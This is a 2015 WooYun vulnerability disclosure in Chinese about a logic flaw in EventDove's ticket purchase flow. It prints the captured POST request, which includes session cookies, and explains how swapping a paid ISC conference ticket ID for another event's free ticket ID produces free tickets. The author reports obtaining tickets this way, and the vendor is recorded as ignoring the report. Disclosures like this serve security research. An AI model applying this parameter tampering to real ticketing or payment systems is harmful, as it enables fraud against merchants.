当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0144142

漏洞标题：会鸽某处逻辑错误导致0元任意购买门票(isc躺枪)

相关厂商：EventDove

漏洞作者： 小杰哥

提交时间：2015-09-29 22:38

修复时间：2015-10-13 07:40

公开时间：2015-10-13 07:40

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-29： 细节已通知厂商并且等待厂商处理中
2015-10-13： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

- -

详细说明：

漏洞地址:http://www.eventdove.com/
ISC 门票购买地址:http://isc2015.eventdove.com/
随便找的一个有免费票的活动:http://2w4fc0yc.eventdove.com/
通过抓包发现
ISC 1800通票的ID为：26171
其他活动的免费票id为:27321

hg1.gif


点击提交抓取数据包

POST /buy/buyTicket/106065 HTTP/1.1
Host: isc2015.eventdove.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://isc2015.eventdove.com/
Cookie: Hm_lvt_1934ce62dc1ce7c3f8e8834324476238=1443265241,1443265337,1443265516,1443265729; __utma=212731584.1144025439.1442548123.1443264076.1443271107.6; __utmz=212731584.1443264076.5.4.utmcsr=isc.360.cn|utmccn=(referral)|utmcmd=referral|utmcct=/2015/index.html; __utma=172058811.595666613.1443197568.1443197568.1443271200.2; __utmz=172058811.1443271200.2.2.utmcsr=eventdove.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.html; jsessionid=408298C6409941A45F1BFFCD1B6E860D; Hm_lpvt_1934ce62dc1ce7c3f8e8834324476238=1443271198; __utmc=212731584; __utmb=212731584.1.10.1443271107; __utmt=1; __utmb=172058811.1.10.1443271200; __utmc=172058811
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 768
ticketCount=3&siteInfoId=106065&ticketId0=26173&ticketName26173=9%E6%9C%8829-30%E6%97%A5%E5%A4%A7%E4%BC%9A%E9%80%9A%E7%A5%A8%E5%AD%A6%E7%94%9F%E7%A5%A8&priceSign26173=%C2%A5&priceUnit26173=%E4%BA%BA%E6%B0%91%E5%B8%81%28%E5%85%83%29&price26173=356.4&ticketNum26173=0&ticketId1=26171&ticketName26171=9%E6%9C%8829-30%E6%97%A5%E5%A4%A7%E4%BC%9A%E9%80%9A%E7%A5%A8&priceSign26171=%C2%A5&priceUnit26171=%E4%BA%BA%E6%B0%91%E5%B8%81%28%E5%85%83%29&price26171=1782&ticketNum26171=1&ticketId2=26175&ticketName26175=9%E6%9C%8829-30%E6%97%A5%E5%A4%A7%E4%BC%9A%E9%80%9A%E7%A5%A8%E5%9B%A2%E4%BD%93%E7%A5%A8&priceSign26175=%C2%A5&priceUnit26175=%E4%BA%BA%E6%B0%91%E5%B8%81%28%E5%85%83%29&price26175=1584&ticketNum26175=0&validateDiscountCode=&discountMaxUseCount=-1&discountTicketIds=


下面这段才是我们想要的 1800门票的信息

&ticketId1=26171&ticketName26171=9%E6%9C%8829-30%E6%97%A5%E5%A4%A7%E4%BC%9A%E9%80%9A%E7%A5%A8&priceSign26171=%C2%A5&priceUnit26171=%E4%BA%BA%E6%B0%91%E5%B8%81%28%E5%85%83%29&price26171=1782&ticketNum26171=1


将里面的全部 26171 改成 27321 全部改掉 然后放包过去
你会惊奇的发现 票价变成免费票了 但是票的信息还是 ISC安全大会的信息

hg5.gif


hg2.gif


票子到手

hg.gif


学生票和通票都秒了

isc.gif


上微信看看票 成功get票啊！

2_meitu_1.jpg

漏洞证明：

2_meitu_1.jpg

修复方案：

0.0

版权声明：转载请注明来源 小杰哥@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-10-13 07:40

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无